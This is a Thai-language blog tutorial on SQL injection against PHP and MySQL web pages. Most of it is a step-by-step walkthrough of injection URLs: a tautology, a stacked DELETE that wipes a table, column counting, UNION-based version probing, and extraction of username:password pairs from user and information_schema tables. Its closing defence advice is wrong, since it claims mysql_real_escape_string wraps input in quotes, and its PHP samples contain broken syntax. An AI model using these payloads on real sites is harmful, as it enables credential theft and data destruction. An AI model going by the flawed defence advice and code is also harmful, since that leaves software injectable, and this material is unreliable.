ทำความรู้จักกับ SQL Injection

 

การพัฒนาแอพพลิเคชันเพื่อติดต่อกับฐานข้อมูลผ่านเครือข่ายอินเทอร์เนตวิธีหนึ่งที่เป็นที่นิยมก็คือ การให้แอพพลิเคชันที่ฝั่งไคลเอนต์ร้องขอข้อมูลมายังเวบเซิร์ฟเวอร์ (http,https) แล้วเวบเซิร์ฟเวอร์ เรียกโปรแกรมที่จัดเตรียมไว้ เช่น php, asp.net ทำการเชื่อมต่อไปยังฐานข้อมูล เมื่อได้รับข้อมูลที่ต้องการแล้ว ก็จะส่งกลับไปยังไคลเอนต์ ผ่านทางเวบเซิร์ฟเวอร์

การส่งคำร้องขอมายังเวบเซิร์ฟเวอร์มักจะทำในรูปแบบของ url query string โดยการอ้างถึงโปรแกรมที่ต้องการประมวลผล และพารามิเตอร์ที่ต้องการส่งให้กับโปรแกรม เช่น

http://host.com/getUser.php?deptid=10

url ข้างต้นจะรีเควสไปยัง host.com เพื่อเรียกใช้โปรแกรม getUser.php และส่งพารามิเตอร์ deptid ที่มีค่า 10 ไปยังโปรแกรม โดยโปรแกรม getUser.php อาจจะมีลักษณะดังนี้

<?php
$deptid = $_GET['deptid'];
$conn = mysql_connect (DB_SERVER, DB_USER, DB_PWD) or die (mysql_error());
mysql_select_db (DB_NAME,$conn) or die (mysql_error());
$query = "SELECT username,department,position,salary FROM employee WHERE deptid=$deptid";
$result = mysql_query($query);
$rows = array();
while ($r=mysql_fetch_assoc($result) {
    $row[] = $r;
}
echo json_encode($rows);
?>

โปรแกรมข้างต้นจะรับค่า deptid เพื่อนำไปใช้ใน SQL เพื่อคิวรีข้อมูลที่ตรงตามเงื่อนไข และส่ง result ที่ได้ในรูปแบบของ JSON

การโจมตีแบบ SQL Injection จะอาศัยช่องโหว่ของโปรแกรมที่ไม่มีการตรวจสอบพารามิเตอร์ก่อนที่จะดำเนินการ เช่น ถ้า url request เป็น

http://host.com/getUser.php?deptid=10 OR 1

เมื่อนำพารามิเตอร์ไปใช้ในโปรแกรม จะได้ SQL คือ “SELECT username,department,position,salary FROM employee WHERE deptid=10 OR 1” ซึ่ง OR 1 จะเป็นเงื่อนไขที่ได้ค่าเป็น true เสมอ ดังนั้น คิวรี่นี้จะได้ result เป็นเรคคอร์ดทั้งหมดในตาราง employee

หรือในกรณีที่ร้ายแรงกว่านั้น ถ้าผู้โจมตีรู้ถึงข้อมูล schema ของฐานข้อมูล เช่น ชื่อตาราง ก็อาาจะเกิดผลเสียหายร้ายแรงได้ เช่น

http://host.com/getUser.php?deptid=10; DELETE FROM employee

url request ข้างต้นจะได้ SQL คือ SELECT username,department,position,salary FROM employee WHERE deptid=10; DELETE FROM employee” ซึ่งผลที่ได้จะเป็นการลบข้อมูลในตาราง employee ทั้งหมด

ตัวอย่างการทำ SQL Injection กับฐานข้อมูล MySQL

1. สมมติว่ามีเวบไซท์ที่ใช้งาน php ดังนี้

http://www.site.com/news.php?id=5

ทดสอบว่าสคริปท์ php มีช่องโหว่หรือไม่

http://www.site.com/news.php?id=5'

ถ้าได้ผลที่ส่งกลับเป็น error เช่น

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
or something similar”

นั่นแสดงว่าสคริปท์นี้มีช่องโหว่ เพราะ 5′ ถูกนำไปต่อกับ SQL ในสคริปท์แล้วทำให้เกิด error แบบ syntax โดยพารามิเตอร์ไม่มีการตรวจสอบ

2. หาข้อมูลเพิ่มเติมของตาราง เช่น จำนวนของคอลัมน์

http://www.site.com/news.php?id=5 order by 1/* <-- no error

http://www.site.com/news.php?id=5 order by 2/* <-- no error

http://www.site.com/news.php?id=5 order by 3/* <-- no error

http://www.site.com/news.php?id=5 order by 4/* <-- error

ตัวอย่างข้างต้นทำการทดสอบด้วยคำสั่ง ORDER BY ไล่ไปทีละคอลัมน์ จนเกิด error ที่คอลัมน์ 4 แสดงว่าตารางนี้มี 3 คอลัมน์

3. ทดสอบคำสั่ง UNION ว่าใช้ได้หรือไม่ เพราะคำสั่ง UNION จะใช้ในการดึงข้อมูลจากตารางอื่น ในคำสั่ง SQL คำสั่งเดียว

http://www.site.com/news.php?id=5 union all select 1,2,3/*

ถ้าเห็นผลเป็นตัวเลข เช่น 1 หรือ 2 หรือ 3 แสดงว่าใช้คำสั่ง UNION ได้

หมายเหตุ ถ้าผลที่ได้เป็น error อาจจะเป็นเพราะ /* ใช้ไม่ได้ ให้ลองใช้ — แทน เครื่องหมาย /* เป็นการ comment สิ่งที่อยู่ตามหลัง และเป็นสิ่งสำคัญที่จะทำให้คิวรีทำงานได้อย่างถูกต้อง

4. ตรวจสอบเวอร์ชันของ MySQL โดยการแทนที่ตัวเลขที่ได้จากขั้นตอนที่แล้วด้วย @@version เช่น ถ้าได้ตัวเลข 2 จากขั้นตอนที่แล้ว จะได้ว่า

http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

ผลที่ได้จะแสดงเป็นหมายเลขเวอร์ชันของ MySQL เช่น 4.1.33-log หรือ 5.0.45 เป็นต้น แต่ถ้าได้ผลเป็น error เช่น “union + illegal mix of collations (IMPLICIT + COERCIBLE) …” จะต้องใช้ฟังก์ชัน convert() เช่น

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

หรือใช้ฟังก์ชัน hex() และ unhex()

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

5. เวอร์ชันของ MySQL 4 และ 5 มีรายละเอียดที่ต่างกัน โดยเฉพาะฐานข้อมูลของระบบ ในเวอร์ชัน 4.x.x ต้องใช้การเดาชื่อคารางและคอลัมน์ เช่น

ชื่อตารางอาจจะเป็น user/s, admin/s, member/s … ในฐานข้อมูลชื่อ mysql

ชื่อคอลัมน์อาจจะเป็น username, user, usr, user_name, password, pass, passwd, pwd …

วิธีการทดสอบทำได้โดย

http://www.site.com/news.php?id=5 union all select 1,2,3 from user/*

ถ้าผลที่ได้คือ 1 หรือ 2 หรือ 3 แสดงว่ามีตาราง user ในระบบ ถ้าผลที่ได้เป็น error ให้ลองด้วยชื่ออื่น

เมื่อรู้ชื่อตารางแล้ว การหาชื่อคอลัมน์ทำได้โดยการแทนที่ตัวเลขที่ได้ด้วยชื่อที่ต้องการทดสอบ

http://www.site.com/news.php?id=5 union all select 1,username,3 from user/*

ถ้าชื่อคอลัมน์ถูกต้อง เราจะได้รายชื่อของ user login ในตาราง ซึ่งโดยปกติจะมีคอลัมน์ password อยู่ด้วย ซึ่งสามารถทดสอบด้วยวิธีเดียวกัน พาสเวิร์ดที่ได้ อาจจะอยู่ในรูปแบบ hash code หรือ plain text

เราสามารถจับคู่ username:password ด้วยคำสั่ง concat ( 0x3a คือเครื่องหมาย : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from user/*

ใน MySQL ตั้งแต่เวอร์ชัน 5 ขึ้นไปชื่อ ตารางและคอลัมน์ จะอยู่ในตาราง TABLES ในฐานข้อมุล information_schema

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

url จะแสดงชื่อตารางเรคคอร์ดแรก ถ้าต้องการให้แสดงรายการอื่น สามารถทำได้โดยใช้คำสั่ง LIMIT

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

limit 0,1 หมายถึงแสดงผลเริ่มจากตำแหน่ง 0 จำนวน 1 เรคคอร์ด (การแสดงผลทำได้ครั้งละ 1 เรคคอร์ด เนื่องจากเงื่อนไขแรกของคิวรี)

เราสามารถรู้ถึงชื่อตารางและชื่อคอลัมน์ของระบบได้โดยการติดตั้ง MySQL และเข้าไปศึกษาในฐานข้อมูล information_schema และ mysql
การป้องกัน SQL Injection

การป้องกันที่ดีที่สุดก็คือการตรวจสอบพารามิเตอร์ที่ส่งเข้ามาในสคริปท์ ว่าถูกต้องในสโคบที่กำหนดหรือไม่ หรืออาจจะใช้ฟังก์ชัน mysql_real_escape_string() ใน PHP เพื่อเพิ่ม \’ ด้านหน้าและหลังของ string เช่น

http://www.site.com/news.php?id=5 or 1

$id = $_GET('id');

// $id = '5 or 1'

$id2 = mysql_real_escape_string($id);

// $id2 = '\'5 or 1\''

ซึ่งจะทำให้พารามิเตอร์ทั้งหมดเป็น string ไม่สามารถนำไปใช้เป็นคำสั่งใน SQL ได้

2 thoughts on “ทำความรู้จักกับ SQL Injection

Leave a comment